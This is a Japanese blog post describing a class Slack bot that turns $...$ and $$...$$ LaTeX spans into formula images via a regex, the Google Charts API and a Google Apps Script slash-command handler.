今回は,以下の記事で紹介したクラスSlackの機能の1つである数式入力の話をします。

pizzacat83.hatenablog.com

botソースコードはこちら

github.com

概要

/formulaに続いて$…$や$$…$$で数式を囲んだメッセージを入力すると、その部分が数式画像で置き換えられたメッセージが届きます。

f:id:pizzacat83:20190306162603p:plain:w500

以前は$$で囲まずに数式だけを書く、という仕様だったので、一応それにも対応しています。

f:id:pizzacat83:20190306162148p:plain:w300

数式をSlackで書けるようにするbotは既に存在していて,実際参考にしているんですが,このように$...$や$$...$$を含む文章に対応しているものはないんじゃないですかね。

実装

入力テキスト→数式画像入りメッセージ

このbotはGASで動かす関係でGAS特有の関数があったりしてNode.js等に転用しにくいものが多いですが、この部分に関してはNode.jsでも動くと思います。ただしTypeScriptなので適宜コンパイルしてください。

流れとしては、

  1. 正規表現でメッセージを数式部分を取得
  2. 各数式とそれに先行するテキストをattachment化

という感じです。

正規表現/([^]*?)((\$\$?)[^]+?\3)/gで,これを用いるとabc$def$ghi$$jkl$$mnoからabc$def$ghi$$jkl$$を抽出できます。

各マッチに対して,数式画像のattachmentを生成します。プレーンテキストから数式画像を生成するのにGoogle Charts APIを使います。リンク先見るとわかるんですがこのAPIはdeprecatedで,いつ使えなくなるかわからないんですが,代案が見つからなかったので当面はこれを使います。クエリパラメータにencodeURIComponentした文字列を書いてあげるとそれが画像へのURLになります。

このURLをattachmentのimage_urlに指定するだけで,Slackに画像付きメッセージを投稿することができます。なので,URLから画像をfetchするような処理は不要です。

また,attachmentのpretextには数式の前の文字列(abc$def$abcの部分)を指定します。

全てのマッチを処理した後はabc$def$ghi$$jkl$$mnomnoが残るので,mnoをpretextとしimage_urlを持たないattachmentを最後に追加します。なお最後のattachmentはスマホから見るとtextやimage_urlがないことによる謎の点f:id:pizzacat83:20190306152507p:plainが出るので,colorを#ffffffにすると見栄えが良いです。

数式画像入りメッセージ→レスポンスJSON

この部分はGAS特有です。

リクエストはPOSTでやってくるので,応答するためのdoPost(e)という関数を作ります。やってくるリクエストは/formulaだけではなく、他のSlash CommandsやEvent APIなども来るので,こんな感じで処理しています。

どのコマンドのリクエストなのかがcommandというパラメータに入っているので,コマンドの文字列に対応する関数をslackCommandsというオブジェクトに格納しておき,slackCommands['command']みたいな感じで呼び出すようにしています。関数の実行結果を受け取ったら,JSON文字列に変換してレスポンスを返します。

ちなみにGASWebEventSlackCommandParamsというinterfaceを用意しているので,コードを書くときに補完が効いて快適です。

使い心地

理系クラスなので当然数式を書きたいわけですが,TeXに慣れていなくてよくミスった数式が表示されてしまい,なんども投稿し直すことが多いです。プレビュー機能があると良さそうですね。ephemeralレスポンスとボタンで作れそうです。